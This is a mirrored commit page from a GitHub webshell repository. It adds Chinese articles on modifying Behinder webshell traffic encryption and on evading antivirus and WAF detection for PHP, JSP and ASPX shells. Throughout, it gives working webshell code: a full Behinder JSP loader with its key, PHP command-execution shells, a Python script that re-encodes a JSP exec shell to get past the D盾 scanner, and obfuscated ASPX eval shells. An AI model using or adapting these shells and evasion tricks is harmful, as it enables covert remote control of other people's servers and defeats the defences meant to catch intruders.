1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 04:41:28 +00:00

4 Commits

Author SHA1 Message Date
tennc
e4f97e3722 Update .gitmodules 2022-08-05 23:29:24 +08:00
tennc
45910b1865 Add files via upload
from: https://xz.aliyun.com/t/11391
author: suansuan
2022-08-05 23:24:59 +08:00
tennc
ddc544e992 Create 简单的冰蝎流量魔改.md
from: https://xz.aliyun.com/t/11530
aythor: Credink
2022-08-05 23:15:17 +08:00
tennc
9bb3f1b806 Create 几种实战成功过的webshell的免杀方式.md
from: https://xz.aliyun.com/t/10937

author: Icepaper
2022-08-05 23:10:13 +08:00
4 changed files with 602 additions and 1 deletions

1
.gitmodules vendored
View File

@@ -1,7 +1,6 @@
[submodule "xl7dev/WebShell"]
path = xl7dev/WebShell
url = https://github.com/xl7dev/WebShell
branch = main
[submodule "JohnTroony/php-webshells"]
path = JohnTroony/php-webshells
url = https://github.com/JohnTroony/php-webshells

View File

@@ -0,0 +1,64 @@
感觉冰蝎流量魔改的文章比较少我自己琢磨了一下感觉简单地做个流量魔改并不复杂发出来供大家参考。我自己是个Java笨比有问题的地方欢迎大佬们评论区指正共同学习。
0x00 冰蝎源码
---------
冰蝎源码的获取可以下载冰蝎用idea自带的反编译工具去反编译我这里直接用github搜到的别人整理好的反编译代码了[https://github.com/x1a0t/Behinder-Source](https://github.com/x1a0t/Behinder-Source%EF%BC%89)
0x01 Crypt.java的修改
------------------
### 1加密函数
在Crypt.java中可以修改Encrypt、EncryptForPhp这类加密函数的逻辑比如在返回结果数据前对结果做自定义的加密处理。我这里的例子就是在原有的AES基础上做了个base64编码。
note`public static byte[] Encrypt(byte[] bs, String key, String scriptType, int encryptType)`这个函数不用改。
我看了下这个函数是在进最后的return前进了其他被改了逻辑的加密函数比如EncryptForPhp其他函数改过了这里就不用动了。我最开始没仔细看代码的时候想着人家写了个汇总函数在这里改应该挺快捷的结果发现这里虽然写了个汇总的函数但是有些时候调用加密还是调用了具体的加密函数比如EncryptForPhp所以这里就不用管这个函数了。
修改的例子:
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710203841-3a665d52-004d-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710203841-3a665d52-004d-1.png)
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710203848-3f1843d8-004d-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710203848-3f1843d8-004d-1.png)
### 2解密函数
修改Crypt.java里的Decrypt函数我这里是做的base64编解码只要在这个总的Decrypt函数开头做一次解码就行了各位大佬们可以根据自己选用的编解码方式自行修改这些Decrypt函数
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710204208-b60f5558-004d-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710204208-b60f5558-004d-1.png)
0x02 payload的修改
---------------
我自己对jsp马做了个简单的跟踪调试发现解密函数解密的流量应该是被客户端塞进去的payload里的xxx.class发出来的这些流量发出来之前会调用payload里xxx.class的Encrypt()函数做个流量加密。所以这里的思路是把payload里存在Encrypt()函数的xxx.class的Encrypt()函数加密逻辑都修改一下,就能贯通整个加解密通讯流程了。
具体操作还是以jsp增加base64编码举例子
因为演示的是jsp的部分就去修改net.rebeyond.behinder.payload.java下面的Java代码文件找到里面的Encrypt()函数payload里的Java代码挨个找找改一下并不是每一个文件都有Encrypt这里没有就不管去修改加密逻辑就行了
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710204655-612c50b2-004e-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710204655-612c50b2-004e-1.png)
note`别的语言的payload里的加密函数也叫encrypt(最多有些大小写区别)但是要修改的话需要用对应的语言去修改其中C#的是dll文件需要额外的姿势欢迎评论区老哥补充这方面方便的思路`
以php为例子加密函数修改如下
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205003-d10f6fae-004e-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205003-d10f6fae-004e-1.png)
0x03 webshell马子的修改
------------------
以jsp为例这里就是在原本的base64解码里又套了一层base64解码
```
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(new String(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))))).newInstance().equals(pageContext);}%>
```
0x04 打包与测试
----------
用maven做package打包完成后要用的是名字长的那个jar包Behinder-3.0-beta-11\_t00ls-jar-with-dependencies.jar
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205545-9d414f66-004f-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205545-9d414f66-004f-1.png)
本地运行,测试(命令执行、内网穿透等功能正常,不过数据库连接功能拉闸了):
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205614-ae3af2cc-004f-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205614-ae3af2cc-004f-1.png)
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205624-b47b1856-004f-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205624-b47b1856-004f-1.png)
有两个还没解决的东西:
1.C#部分的dll文件处理(欢迎老哥们在评论区发点儿快捷的处理方法、思路)
2.数据库连接功能出现了bug暂时还没去调试老哥们有知道的欢迎评论区重拳出击

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,243 @@
作者Icepaper
原文地址https://xz.aliyun.com/t/10937
php的免杀
------
* * *
传统的php免杀不用多说了 无非就是各种变形和外部参数获取对于一些先进的waf和防火墙来说不论如何解析最终都会到达命令执行的地方但是如果语法报错的话就可能导致解析失败了这里简单说几个利用php版本来进行语义出错的php命令执行方式。
### 一、利用在高版本php语法不换行来执行命令
```
<?=
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>
```
#### 5.2版本报错
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUdvaf8aLq4kN0ev5hlnZp7MdgA6vWE1RAhtbJ1OrSoFWeqMcoU5JXicg/640?wx_fmt=png)
#### 5.3报错
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUlkO3gLJmwQQbnkMyveHzZYe6MqHmE9p677mW6PZibZGkfRpGTgtHqFQ/640?wx_fmt=png)
#### 5.4版本报错
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUyA10mMt1hJVfmdhsunhfmVL5orGqXOsZlWvKiawlSRmDK8J8RLMQ3EQ/640?wx_fmt=png)
#### 7.3.4成功执行命令
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUIsBRsmBvT5oH2LTt0yADcibkQMhz5RK6LGzpVoOSAQPgYy2Ah2RcD3g/640?wx_fmt=png)
### 3、利用\\特殊符号来引起报错
```
<?php
\echo `whoami`;?>
```
#### 5.3执行命令失败
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUAwrv7YeHI0icXPGBoZmYUPasUXDrXDOfoibGsPEXpPRYpDgvT7CA5R3Q/640?wx_fmt=png)
#### 7.3执行命令失败
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUovPwXQd7tNYTKVHRTD4sgNoxC2BFzpKEtt4jNPkNCDXwia8Btov8EFQ/640?wx_fmt=png)
#### 5.2成功执行
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUMibkRMC8WlZibD2TmwFKaeUIr7yEqLgFVfYDIoHHFfp9azf9tVs1WMlQ/640?wx_fmt=png)
3、十六进制字符串
---------
在php7中不认为是数字php5则依旧为数字
经过测试 5.3 和5.5可以成功执行命令5.2和php7无法执行
```
<?php
$s=substr("aabbccsystem","0x6");
$s(whoami)
?>
```
#### 7.3 命令执行失败
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUVaTqnC3mQGl1IUAia0DFYsmyYMbaw7NLK6IGicxCojzoTqyCTFBMG3ug/640?wx_fmt=png)
#### 5.2 命令执行失败
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCU1KQicUwXpwQJXsqlBeqsLPrA5lIKpO3cIRicPpFrBptftibQWg8gCKtag/640?wx_fmt=png)
### 5.3 命令执行成功
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCU1KQicUwXpwQJXsqlBeqsLPrA5lIKpO3cIRicPpFrBptftibQWg8gCKtag/640?wx_fmt=png)
除此之外还有很多种利用版本差异性来bypass一些没有对所有版本进行检测更新的所谓的"先进waf"。
当然对于我们可以结合垃圾数据变形混淆以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同配置也不同与一些传输层面的bypass进行结合产生的可能性就会非常多样。
例如:
7.0版本的??特性如果版本为5.x的话就会报错可以结合一些其他的方式吧
```
<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
```
jsp免杀
-----
* * *
本人对java研究的不是非常深入因此主要分享的还是平时收集的几个小tips如果有没看过的师傅现在看到了也是极好的java unicode绕过就不再多言。
#### 0、小小Tips
jsp的后缀可以兼容为jspx的代码也兼容jspx的所有特性如CDATA特性。
jspx的后缀不兼容为jsp的代码jspx只能用jspx的格式
#### 1、jspx CDATA特性
在XML元素里<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。
但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符因此可以将脚本代码定义为CDATA。
CDATA部分内容会被解析器忽略。
格式:<!\[CDATA\[xxxxxxxxxxxxxxxxxxx\]\]>
例如
String cmd = request.getPar<!\[CDATA\[ameter\]\]>("shell");
此时ameter依旧会与getPar拼接成为getParameter
#### 2、实体化编码
```
if (cmd !=null){
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
```
这里实体化编码先知渲染体现不出来
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUeVmzNYUctUWxT0hGgdiaUXHxlnA0IxHgOX5JicTricSfEn8ToOibliakViaA/640?wx_fmt=png)
#### 3、利用java支持其他编码格式来进行绕过
```
#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))
f16le = open('utf-16le.jsp','wb')
f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
f16le.write(data.encode('utf-16le'))
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')
```
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUAZwH9CWqUhuic0frAmicvtoVXom9d0h9iaCf9nVK1Zic0jwwWWZxibQWE3w/640?wx_fmt=png)
可以看到对于D盾的免杀效果还是非常好的。
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUZ9d18gvQVmzN6ImeIaTicjoVaTzCiaicdErVDehAHLeJA3UA5RWesC80Q/640?wx_fmt=png)
aspx的免杀
-------
* * *
aspx免杀的方式相对于PHP和java的较少这里列出5种方式来bypass进行免杀
1、unicode编码
2、空字符串连接
3、<%%>截断
3、头部替换
5、特殊符号@
6、注释
我们以一个普通的冰蝎马作为示例
<%@ Page Language="Jscript"%>eval(@Request.Item\["pass"\],"unsafe");%
这一步无需多言一定是会被D盾所查杀的
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUusqjDv6SibZNAPhqTut0HFaqialbIHOrgVHcxHK1VHGyhdKDODRjF5fA/640?wx_fmt=png)
#### 1、unicode编码
例如eval他可以变为
\\u0065\\u0076\\u0061\\u006c
```
<%@ Page Language="Jscr`ipt"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>`
```
经过我本地的测试在JScript的情况下它不支持大U和多个0的增加
而在c#的情况下,是可以支持的
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUZvT64xYcPNucRAJFpabmDYdA372vUxGV4BbpBJzL70xPfHZKJNwofw/640?wx_fmt=png)
#### 2、空字符串连接
在函数字符串中插入这些字符都不会影响脚本的正常运行,在测试前需要注意该类字符插入的位置,否则插入错误的地方会产生报错
\\u200c
\\u200d
\\u200e
\\u200f
#### 3、使用<%%>语法
将整个字符串与函数利用<%%>进行分割
```
<%@Page `Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>`
```
#### 4、头部免杀
之前有遇到过检测该字段的<%@ Page Language="C#" %>这个是标识ASPX的一个字段
针对该字段进行免杀%@Language=CSHARP% 很久之前修改为这样就过了
同样的,可以修改为
<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>
也可以将该字段放在后面,不一定要放前面等
#### 5、使用符号
如哥斯拉webshell存在特征代码可以添加@符号但是不会影响其解析
```
(Context.Session["payload"] == null)
(@Context.@Session["payload"] == null)
```
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUibFnVLP7jY3QpkXnMiam9r3d7jMCibCyKR43Ugj1WdtwUZLEMA5Xspn4A/640?wx_fmt=png)
![](https://mmbiz.qpic.cn/mmbiz_png/CBJYPapLzSFwr6MCl7a5Leyw8icSTvTCUayzH4qNRgQsicCbE5Uuc0m3OWkibGXf7x5qKFayaaAib0ia4sISBuCcoOA/640?wx_fmt=png)
#### 6、注释可以随意插入
如下所示为冰蝎部分代码
```
<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
```
可以与<%%>结合使用效果会更好'